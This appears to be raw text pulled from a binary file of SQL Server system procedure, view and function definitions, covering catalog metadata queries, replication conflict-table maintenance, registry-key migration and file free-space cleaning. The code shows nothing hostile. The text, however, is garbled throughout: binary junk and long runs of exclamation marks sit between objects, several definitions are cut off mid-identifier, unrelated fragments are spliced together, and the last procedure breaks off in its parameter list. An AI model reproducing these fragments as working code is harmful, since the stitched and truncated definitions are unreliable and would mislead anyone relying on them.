!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(8Dvv<
create procedure sys.sp_sproc_columns_100
(
    @procedure_name         nvarchar(390) = '%',
    @procedure_owner        nvarchar(384) = null,
    @procedure_qualifier    sysname = null,
    @column_name            nvarchar(384) = null,
    @ODBCVer                int = 2,
    @fUsePattern            bit = 1 -- To allow users to explicitly disable all pattern matching.
)
as
    declare @group_num_lower smallint
    declare @group_num_upper smallint
    declare @semi_position int
    declare @full_procedure_name nvarchar(775) -- 390 + 1 + 384
    declare @procedure_id int

    if @procedure_qualifier is not null
    begin
        if db_name() <> @procedure_qualifier
        begin
            if @procedure_qualifier = ''
            begin
                -- in this case, we need to return an empty result set
                -- because the user has requested a database with an empty name
                select @procedure_name = ''
                select @procedure_owner = ''
            end
            else
            begin   -- If qualifier doesn't match current database
                raiserror (15250, -1,-1)
                return
            end
        end
    end

    if @procedure_name is null
    begin   -- If procedure name not supplied, match all
        select @procedure_name = '%'
    end

    -- first we need to extract the procedure group number, if one exists
    select @semi_position = charindex(';',@procedure_name)
    if (@semi_position > 0)
    begin   -- If group number separator (;) found
        select @group_num_lower = convert(int,substring(@procedure_name, @semi_position + 1, 2))
        select @group_num_upper = @group_num_lower
        select @procedure_name = substring(@procedure_name, 1, @semi_position -1)
    end
    else
    begin   -- No group separator, so default to all groups
        select @group_num_lower = 0
        select @group_num_upper = 32767
    end

    if @procedure_owner is null
    begin   -- If unqualified procedure name
        select @full_procedure_name = quotename(@procedure_name)
    end
    else
    begin   -- Qualified procedure name
        if @procedure_owner = ''
        begin   -- If empty owner name
            select @full_procedure_name = quotename(@procedure_owner)
        end
        else
        begin
            select @full_procedure_name = quotename(@procedure_owner) + '.' + quotename(@procedure_name)
        end
    end

    select @procedure_id = object_id(@full_procedure_name)


    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnull(charindex('%', @full_procedure_name),0) = 0) and
            (isnull(charindex('[', @procedure_name),0) = 0) and
            (isnull(charindex('[', @procedure_owner),0) = 0) and
            (isnull(charindex('_', @full_procedure_name),0) = 0) and
            -- VSTS 60696, pattern matching is also supported on @column_name
            (isnull(charindex('%', @column_name),0) = 0) and
            (isnull(charindex('_', @column_name),0) = 0) and
            (isnull(charindex('[', @column_name),0) = 0) and
            (@procedure_id is not null))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print isnull(convert(sysname, @procedure_id),   '@procedure_id = null')
        print isnull(@full_procedure_name,              '@full_procedure_name = null')
        print isnull(@procedure_name,                   '@procedure_name = null')
        print isnull(@procedure_owner,                  '@procedure_owner = null')
        print isnull(@procedure_qualifier,              '@procedure_qualifier = null')
        print isnull(@column_name,                      '@column_name = null')
        print isnull(@ODBCVer,                          '@ODBCVer = null')
        print '*************'
        */

        --
        -- FAST!
        --
        select
            PROCEDURE_QUALIFIER         = s_scov.PROCEDURE_QUALIFIER,
            PROCEDURE_OWNER             = s_scov.PROCEDURE_OWNER,
            PROCEDURE_NAME              = convert(nvarchar(134),
                                            s_scov.PROCEDURE_NAME +';'+ ltrim(str(s_scov.procedure_number,5))),
            COLUMN_NAME                 = s_scov.COLUMN_NAME,
            COLUMN_TYPE                 = s_scov.COLUMN_TYPE,
            DATA_TYPE                   = s_scov.DATA_TYPE,
            TYPE_NAME                   = s_scov.TYPE_NAME,
            "PRECISION"                 = s_scov.PRECISION,
            "LENGTH"                    = s_scov.LENGTH,
            SCALE                       = s_scov.SCALE,
            RADIX                       = s_scov.RADIX,
            NULLABLE                    = s_scov.NULLABLE,
            REMARKS                     = s_scov.REMARKS,
            COLUMN_DEF                  = s_scov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_scov.SQL_DATA_TYPE,
            SQL_DATETIME_SUB            = s_scov.SQL_DATETIME_SUB,
            CHAR_OCTET_LENGTH           = s_scov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_scov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_scov.IS_NULLABLE,
            SS_TYPE_CATALOG_NAME                 = s_scov.SS_TYPE_CATALOG_NAME,
            SS_TYPE_SCHEMA_NAME                  = s_scov.SS_TYPE_SCHEMA_NAME,
            SS_UDT_CATALOG_NAME                  = s_scov.SS_UDT_CATALOG_NAME,
            SS_UDT_SCHEMA_NAME                   = s_scov.SS_UDT_SCHEMA_NAME,
            SS_UDT_ASSEMBLY_TYPE_NAME            = s_scov.SS_UDT_ASSEMBLY_TYPE_NAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME = s_scov.SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = s_scov.SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
            SS_XML_SCHEMACOLLECTION_NAME         = s_scov.SS_XML_SCHEMACOLLECTION_NAME,
            SS_DATA_TYPE                = s_scov.SS_DATA_TYPE
        from
            sys.spt_sproc_columns_odbc_view s_scov
        where
            s_scov.object_id = @procedure_id and
            s_scov.odbcver = @ODBCVer and
            (@column_name is null or s_scov.COLUMN_NAME = @column_name) and
            (s_scov.procedure_number between @group_num_lower and @group_num_upper)

        UNION ALL

        select         -- procedure return value & table valued functions
            PROCEDURE_QUALIFIER         = s_scrvov.PROCEDURE_QUALIFIER,
            PROCEDURE_OWNER             = s_scrvov.PROCEDURE_OWNER,
            PROCEDURE_NAME              = convert(nvarchar(134),
                                            s_scrvov.PROCEDURE_NAME +';'+ ltrim(str(s_scrvov.procedure_number,5))),
            COLUMN_NAME                 = s_scrvov.COLUMN_NAME,
            COLUMN_TYPE                 = s_scrvov.COLUMN_TYPE,
            DATA_TYPE                   = s_scrvov.DATA_TYPE,
            TYPE_NAME                   = s_scrvov.TYPE_NAME,
            "PRECISION"                 = s_scrvov.PRECISION,
            "LENGTH"                    = s_scrvov.LENGTH,
            SCALE                       = s_scrvov.SCALE,
            RADIX                       = s_scrvov.RADIX,
            NULLABLE                    = s_scrvov.NULLABLE,
            REMARKS                     = s_scrvov.REMARKS,
            COLUMN_DEF                  = s_scrvov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_scrvov.SQL_DATA_TYPE,
            SQL_DATETIME_SUB            = s_scrvov.SQL_DATETIME_SUB,
            CHAR_OCTET_LENGTH           = s_scrvov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_scrvov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_scrvov.IS_NULLABLE,
            SS_TYPE_CAT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<&0MH 8 
-- add it
create view sys.dm_pdw_nodes_os_spinlock_stats as
select *, convert(int, null) pdw_node_id from sys.dm_os_spinlock_stats
0 :8CREATE FUNCTION sys.dm_exec_describe_first_result_set(@tsql nvarchar(max), @params nvarchar(max), @browse_information_mode tinyint = NULL)
RETURNS TABLE
AS
	RETURN SELECT * FROM OPENROWSET(TABLE DMF_SP_DESCRIBE_FIRST_RESULT_SET_STRING, @tsql, @params, @browse_information_mode)
0AO 8
create procedure sys.sp_oledb_database
as
    select
        name
    from
        sys.databases
0 8
create procedure sys.sp_tablecollations
(
    @object nvarchar(4000)
)
as
    select
        colid               = s_tcv.colid,
        name                = s_tcv.name,
        tds_collation       = s_tcv.tds_collation_28,
        "collation"         = s_tcv.collation_28
    from
        sys.spt_tablecollations_view s_tcv
    where
        s_tcv.object_id = object_id(@object, 'local')
    order by colid
0@ 8--
-- Name: sp_vupgrade_registry_custom_resolver_katmai
--
-- Descriptions:  this is called by sp_vupgrade_registry, to move custom resolver keys 
--                     to the MSmerge_articleresolver table on the distributor
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_vupgrade_registry_custom_resolver_katmai
(
    @oldregkey  nvarchar(1000)
)
as
    set nocount on
    declare @distributor                        sysname
    declare @distribution_db                sysname
    declare @resolver_name                    nvarchar(1000)
    declare @resolver_clsid                    nvarchar(1000)
    declare @insertproc                                     nvarchar(547)
    declare @retcode                        int
    declare @keyexist                         int

    EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, @distribdb = @distribution_db OUTPUT
    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        RAISERROR (20036, 16, -1)
        RETURN (1)
    END

    -- if the server is not a distributor we do not need to do anything
    if @distributor IS NULL
        return 0

    create table #keyexist (keyexist int)

    -- Move the registered article resolvers to MSmerge_articleresolver on distribution db
    insert into #keyexist EXECUTE master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', @oldregkey
    select @keyexist = keyexist from #keyexist
    if @keyexist = 1
    begin
        create table #article_resolvers (resolver_name nvarchar(1000) collate database_default, resolver_clsid nvarchar(1000))
        insert into #article_resolvers EXECUTE master.dbo.xp_regenumvalues 'HKEY_LOCAL_MACHINE', @oldregkey
        declare #resolvercursor CURSOR LOCAL FAST_FORWARD FOR 
            select DISTINCT resolver_name, resolver_clsid
                    FROM #article_resolvers
                FOR READ ONLY

        open #resolvercursor
        fetch next from #resolvercursor into @resolver_name, @resolver_clsid
        while (@@fetch_status <> -1)
        begin
            select @insertproc = QUOTENAME(RTRIM(@distributor)) + N'.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_registercustomresolver'

            exec @retcode = @insertproc
                    @article_resolver = @resolver_name,
                    @resolver_clsid = @resolver_clsid

            if @retcode <> 0 OR @@ERROR <> 0
            begin
                set @retcode = 1
                goto FAILURE
            end
            fetch next from #resolvercursor into @resolver_name, @resolver_clsid
        end

        -- done moving reg keys/values.  delete old key 
        exec @retcode = master.dbo.xp_regdeletekey 'HKEY_LOCAL_MACHINE', @oldregkey
        if @@error <> 0 OR @retcode <> 0
        begin
            set @retcode = 1
        end

        close #resolvercursor
        deallocate #resolvercursor
        drop table #article_resolvers 

        return 0
       
    end

FAILURE:
    drop table #keyexist
    return @retcode
        
0ڡ@ T8create procedure sys.sp_ORbitmap (
    @inputbitmap1 varbinary(128), 
    @inputbitmap2 varbinary(128),
    @resultbitmap3 varbinary(128)    OUTPUT
)
as
begin
    declare @retcode    int
    exec @retcode = sys.xp_ORbitmap @inputbitmap1,@inputbitmap2,@resultbitmap3 output
    return @retcode
end
0i@ (
8
--
-- Backwards compatible sp:
-- Use old sp_add_datatype_mapping to create a new
-- call to sp_MSrepl_adddatatypemapping.
-- This sp always maps MS SQL Server to a target DBMS.
--
create procedure sys.sp_add_datatype_mapping
(
    @dbms_name          sysname,
    @sql_type           sysname,
    @dest_type          sysname,
    @dest_prec          int,
    @dest_create_params int,
    @dest_nullable      bit
)
as
BEGIN
	DECLARE @dest_length	bigint
	DECLARE @dest_precision	bigint
	DECLARE @dest_scale		int

	SELECT	@dest_length	= NULL,
			@dest_precision	= NULL,
			@dest_scale		= NULL

    set nocount on

    if @dbms_name is null
    BEGIN
        RAISERROR (14043, 16, -1, '@dbms_name', 'sp_add_datatype_mapping')
        RETURN (1)
    END
    
    if @sql_type is null 
    BEGIN
        RAISERROR (14043, 16, -1, '@sql_type', 'sp_add_datatype_mapping')
        RETURN (1)
    END

    if @dest_type is null
    BEGIN
        RAISERROR (14043, 16, -1, '@dest_type', 'sp_add_datatype_mapping')
        RETURN (1)
    END

    if @dest_prec is null
    BEGIN
        RAISERROR (14043, 16, -1, '@dest_prec', 'sp_add_datatype_mapping')
        RETURN (1)
    END

    if @dest_create_params is null
    BEGIN
        RAISERROR (14043, 16, -1, '@dest_create_params', 'sp_add_datatype_mapping')
        RETURN (1)
    END

    if @dest_nullable is null
    BEGIN
        RAISERROR (14043, 16, -1, '@dest_nullable', 'sp_add_datatype_mapping')
        RETURN (1)
    END
 
	-- Use create params to determine what the source / destination
	-- settings should be
	
	IF (@dest_create_params & 1) = 1
	BEGIN
		-- Precision
		SET @dest_precision = @dest_prec
	END
	
	IF ((@dest_create_params & 4) = 4) OR (@dest_create_params = 0)
	BEGIN
		-- Length
		SET @dest_length = @dest_prec
	END
	
	IF (@dest_create_params & 2) = 2
	BEGIN
		-- Scale
		SET @dest_scale = 0
	END
 
	-- Add data type mapping 
	exec sp_MSrepl_adddatatypemapping	@source_dbms				= 'MSSQLSERVER',
										@source_version				= NULL,
										@source_type				= @sql_type,
										@destination_dbms			= @dbms_name,
										@destination_version		= NULL,
										@destination_type			= @dest_type,
										@destination_length			= @dest_length,
										@destination_precision		= @dest_precision,
										@destination_scale			= @dest_scale,
										@destination_nullable		= @dest_nullable,
										@destination_createparams	= @dest_create_params

    if @@error <> 0
        return(1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	GC`<h170 8CREATE VIEW sys.availability_group_listeners AS
	SELECT
		group_id = agl.group_id,
		listener_id = CAST(agl.listener_id AS nvarchar(36)),
		dns_name = CAST(agl.dns_name AS nvarchar(63)),
		port = CAST(agl.port AS int),
		is_conformant = agl.is_conformant,
		ip_configuration_string_from_cluster = agl.ip_configuration_string_from_cluster
	FROM
		sys.dm_hadr_internal_ag_listeners AS agl
0@ 8CREATE VIEW sys.dm_broker_queue_monitors AS
    SELECT * FROM OpenRowset (TABLE SBQUEUEMONITORS)
0`v |8create procedure sys.sp_MSAdjustConflictTable(
@qual_source_object nvarchar(540),
@pubid uniqueidentifier,
@columnName sysname,
@column_change_type int = 1 --addcolumn 1, dropcolumn 2, alter column 3
)
AS
declare @artname sysname
declare @retcode int
declare @objid int
declare @con_id int
declare @conflict_table sysname
declare @ins_conflict_proc sysname
declare @qual_column        nvarchar(258)
declare @len            int
declare @prec            int
declare @scale int
declare @typename nvarchar(270)
declare @command nvarchar(4000)
declare @create_unq nvarchar(500)
declare @is_filestream int
declare @rowguidcol sysname

select @qual_column=QUOTENAME(@columnName)
    
select @objid = object_id(@qual_source_object)
select @conflict_table=conflict_table from dbo.sysmergearticles where pubid=@pubid and objid=@objid

if @conflict_table is null
    return 0

select @con_id = object_id(quotename(@conflict_table))
if @con_id is NULL
begin
    raiserror(21286, 16, -1, @conflict_table)
    return (1)
end

-- add/alter/drop column in conflict table
set @command = NULL
if (@column_change_type = 1 or @column_change_type = 3) and @conflict_table is not NULL
begin

    --figure out the type of newly added column and add it to the conflict table
    
    select @typename = NULL
    select @typename = case system_type_id when 240 then type_name(user_type_id) else type_name(system_type_id) end, 
    @len = max_length, @prec = precision, @scale = scale, @is_filestream = is_filestream
            from sys.columns where name=@columnName and object_id=@objid and is_computed<>1 and system_type_id <> type_id('timestamp')
    if @typename is NULL
        return (0)
    if @typename='nvarchar' or @typename='nchar' -- a unit of nchar takes 2 bytes 
        select @len = @len/2
    exec @retcode = sys.sp_MSmaptype @typename out, @len, @prec, @scale
    if @@error<>0 OR @retcode <>0 
        return (1)
    if @column_change_type = 1 and not exists (select * from sys.columns where object_id = @con_id and name=@columnName)
        select @command = 'alter table ' + QUOTENAME(@conflict_table) + ' add ' + @qual_column + ' ' + @typename       
    else if @column_change_type = 3 and exists (select * from sys.columns where object_id = @con_id and name=@columnName)
        select @command = 'alter table ' + QUOTENAME(@conflict_table) + ' alter column ' + @qual_column + ' ' + @typename 
     -- add filestream keyword for Filestream columns	
     if @is_filestream = 1 
     begin
     		
     		-- check if NON-NULL, unique rowguid col exists on conflict table

		-- is rowguidcol nullable?
		if not exists( select * from sys.columns where object_id= @con_id and is_rowguidcol = 1 and is_nullable = 0 )
		begin
			-- cannot alter rowguid col to be non-nullable
			return (1)
		end
		-- is rowguidcol unique?

		if not exists (
		select i.index_id from sys.indexes i
		join sys.index_columns icol on icol.object_id = i.object_id and icol.index_id = i.index_id
		where i.object_id = @con_id and i.is_unique_constraint = 1 
		and columnproperty(i.object_id, col_name(i.object_id, icol.column_id), 'isrowguidcol')=1
		and indexproperty(i.object_id, i.name, 'userkeycount') = 1
		)
		begin
			-- unique index on ROWGUIDCOL does not exist. create one.
			select @rowguidcol = name from sys.columns where object_id= @con_id and is_rowguidcol = 1
			select @create_unq = 'alter table  ' + QUOTENAME(@conflict_table) + ' add unique (' + quotename(@rowguidcol) + ')'
			exec(@create_unq)
			if @@ERROR<>0
				return (1)
		end
        	select @command = @command + ' FILESTREAM '
     end
    select @command = @command + ' NULL '    
    if @command is not NULL
    begin
        exec(@command)
        if @@ERROR<>0
            return (1)
    end
end
else if @column_change_type = 2 and @conflict_table is not NULL and exists (select * from sys.columns where object_id = @con_id and name=@columnName)
begin
    select @command = 'alter table ' + QUOTENAME(@conflict_table) + ' drop column '  + @qual_column
    exec(@command)
    if @@ERROR<>0
        return (1)
end    
return (0)
0  s8CREATE FUNCTION sys.fn_replparsewindowslogin
(
	@win_login	nvarchar(257)
)
RETURNS @return table(domain sysname NULL, login sysname NULL)
AS
BEGIN
	DECLARE @char_index int
	
	SELECT @win_login	= RTRIM(LTRIM(@win_login)),
			@char_index = CHARINDEX(N'\', @win_login)

	IF @char_index < 1 OR @char_index IS NULL
	BEGIN
		INSERT INTO @return (domain, login) 
			VALUES (NULL, @win_login)
	END
	ELSE
	BEGIN
		INSERT INTO @return (domain, login) 
			VALUES(SUBSTRING(@win_login, 1, @char_index - 1), SUBSTRING(@win_login, @char_index + 1, LEN(@win_login)))
	END

	RETURN
END
0 8

create procedure sys.sp_MSSQLOLE65_version
as
	/* localize message without changing message number */
	declare @errtxt nvarchar(1024)
	select @errtxt=text from sys.messages, sys.syslanguages
	where message_id = 29001 
		and language_id=sys.syslanguages.lcid 
		and sys.syslanguages.langid = @@langid

	if @errtxt IS NULL
	begin
		select top(1) @errtxt=text from sys.messages, sys.syslanguages
		where message_id = 29001 
	end
	RAISERROR(55555, 16, 1); -- @errtxt

	RETURN 1
AME,
	convert(nvarchar(4000), definition)	AS CHECK_CLAUSE
FROM
	sys.check_constraints
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!e

`q<B;{:2C0_ 8
create procedure sys.sp_statistics
(
    @table_name         sysname,        -- Wildcard pattern matching IS NOT supported.
    @table_owner        sysname = null, -- Wildcard pattern matching IS NOT supported.
    @table_qualifier    sysname = null,
    @index_name         sysname = '%',  -- Wildcard pattern matching is supported.
    @is_unique          char(1) = 'N',
    @accuracy           char(1) = 'Q'
)
as
    set nocount on

    declare @table_id           int
    -- quotename() returns up to 258 chars
    declare @full_table_name    nvarchar(517) -- 258 + 1 + 258

    if @table_qualifier is not null
    begin
        if db_name() <> @table_qualifier
        begin   -- If qualifier doesn't match current database
            raiserror (15250, -1,-1)
            return
        end
    end

    if @accuracy not in ('Q','E')
    begin
        raiserror (15251,-1,-1,'accuracy','''Q'' or ''E''')
        return
    end

    if @table_owner is null
    begin   -- If unqualified table name
        select @full_table_name = quotename(@table_name)
    end
    else
    begin   -- Qualified table name
        if @table_owner = ''
        begin   -- If empty owner name
            select @full_table_name = quotename(@table_owner)
        end
        else
        begin
            select @full_table_name = quotename(@table_owner) + '.' + quotename(@table_name)
        end
    end
    --  Get Object ID
    select @table_id = object_id(@full_table_name)

    -- Rows for indexes.
    select
        TABLE_QUALIFIER     = db_name(),
        TABLE_OWNER         = schema_name(o.schema_id),
        TABLE_NAME          = o.name,
        NON_UNIQUE          = convert(smallint,
                              case
                                  when x.is_unique = 0 then 1         -- Nonunique index
                                  else 0                              -- Unique index
                              end),
        INDEX_QUALIFIER     = o.name,
        INDEX_NAME          = x.name,
        TYPE                = isnull(convert(smallint, -- workaround engine limitation, see SQL BU 373271
                              case
                                  when x.index_id > 1 then 3          -- Non-Clustered
                                  else 1                              -- Clustered index
                              end), sysconv(smallint,1)),
        SEQ_IN_INDEX        = convert(smallint, s_ic.key_ordinal),
        COLUMN_NAME         = index_col(@full_table_name, x.index_id, s_ic.key_ordinal),
        -- For indexes return whether ASC or DESC and for statistics return null
        [COLLATION]         = convert(char(1),
                                case
                                when s_ic.is_descending_key = 1
                                  then 'D' -- DB_COLLATION_DESC
                                  else 'A' -- DB_COLLATION_ASC
                                end),
        CARDINALITY         = convert(int,
                                case
                                when x.index_id > 1 then
                                    null -- Non-Clustered
                                else
                                    0x7FFFFFFF & p.rows -- Clustered index
                              end),
        PAGES               = convert(int,
                                case
                                when x.index_id > 1 then
                                    null -- Non-Clustered
                                else
                                    p.data_pages -- Clustered index
                              end),
        FILTER_CONDITION    = convert(varchar(128),null)

    from
        sys.objects o inner join -- Yukon doesn't expose indexes on its system objects, so only user objects are useful.
        sys.indexes x on
            (
                x.object_id = o.object_id and
                (x.is_unique = 1 or @is_unique <> 'Y') and
                x.is_hypothetical = 0
            ) inner join
        sys.index_columns s_ic on
            (
                s_ic.object_id = o.object_id and
                s_ic.index_id = x.index_id and
                s_ic.key_ordinal > 0
            ) left join
        sys.index_counts p on
            (
                p.object_id = x.object_id and
                p.index_id = x.index_id
            )

    where
        o.object_id = @table_id and
        (@index_name = '%' or x.name like @index_name) -- matching name

    union all

    -- Add row for table statistics.
    select
        TABLE_QUALIFIER     = db_name(),
        TABLE_OWNER         = schema_name(o.schema_id),
        TABLE_NAME          = o.name,
        NON_UNIQUE          = convert(smallint, null),
        INDEX_QUALIFIER     = convert(sysname, null),
        INDEX_NAME          = convert(sysname, null),
        TYPE                = isnull(convert(smallint, 0), sysconv(smallint,0)), -- Statistics for a table.
        SEQ_IN_INDEX        = convert(smallint, null),
        COLUMN_NAME         = convert(sysname, null),
        [COLLATION]         = convert(char(1), null),
        CARDINALITY         = convert (int, 0x7FFFFFFF & p.rows),
        PAGES               = p.data_pages,
        FILTER_CONDITION    = convert(varchar(128),null)

    from
        sys.objects o inner join -- Yukon doesn't expose indexes on its system objects, so only user objects are useful.
        sys.indexes x on
            (
                x.object_id = o.object_id and
                (x.index_id = 0 or x.index_id = 1) -- If there are no indexes then table stats are in a row with index_id =0
            ) left join
        sys.index_counts p on
            (
                p.object_id = x.object_id and
                p.index_id = x.index_id
            )

    where
        o.object_id = @table_id

    order by 4, 7, 6, 8
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<8"06@ 8
create procedure sys.sp_clean_db_file_free_space (
	@dbname sysname,
	@fileid int,
	@cleaning_delay int = 0)
as
begin
	SET NOCOUNT ON
	declare @quoted_dbname nvarchar(258)
	set @quoted_dbname=QUOTENAME(@dbname)

	declare @flush nvarchar(1024)
	set @flush =  'USE ' + @quoted_dbname +  ' checkpoint'
	--
	-- Parameter check
	-- @dbname
	--
	if (db_id(@dbname) is null)
	begin
		RAISERROR(15010, 16, -1, @quoted_dbname)
		return (1)
	end

	--
	-- security check
	-- only db_owner can execute this
	--
	declare @check nvarchar(1024)
	set @check = 'USE ' + @quoted_dbname +
    'if (is_member (''db_owner'') != 1) 
	begin
		raiserror(14260, 16, -1)
    end'
	exec (@check)
	if @@error =14260
	begin
		return (1)
	end

	declare @page int
	set @page = 0
	declare @dbid int

	create table #continueclean (
		fileid int,
		page int)
	declare @sql as nvarchar(1024)
	set @sql = 'insert #continueclean (fileid, page) select file_id, size from ' + @quoted_dbname + '.sys.database_files where file_id=' + cast(@fileid as nvarchar) + ' and type=0'
	exec (@sql)

	select @dbid=db_id(@dbname)
	while exists(select * from #continueclean where fileid = @fileid and page > @page)
	begin
		dbcc cleanpage(@dbid , @fileid, @page)
		set @page = @page+1

		-- delay execution to throttle impact on system
		if (@cleaning_delay > 0)
			waitfor delay @cleaning_delay

		-- checkpoint periodically 
		if @page % 10000 = 0
		begin
			exec (@flush)
		end

		set @sql = 'update #continueclean set fileid=file_id, page=size from ' + @quoted_dbname + '.sys.database_files where file_id=' + cast(@fileid as nvarchar) + ' and type=0'
		exec (@sql)
	end
	drop table #continueclean
	exec (@flush)
	end
0͚ \8Yw)h>8^f0/<R 8create function sys.fn_varbintohexstr 
(
    @pbinin varbinary(max) 
)
returns nvarchar(max)
as
begin
    return sys.fn_varbintohexsubstring(1,@pbinin,1,0)
end
0;@ 
8CREATE PROCEDURE sys.sp_addpushsubscription_agent
(
	@publication					sysname,
	@subscriber 					sysname = NULL,
	@subscriber_db					sysname = NULL,
	@subscriber_security_mode		smallint = 1,
	@subscriber_login				sysname = NULL,
	@subscriber_password			sysname = NULL,
	@job_login						nvarchar(257) = NULL,
	@job_password					sysname = NULL,
	@job_name						sysname = NULL,
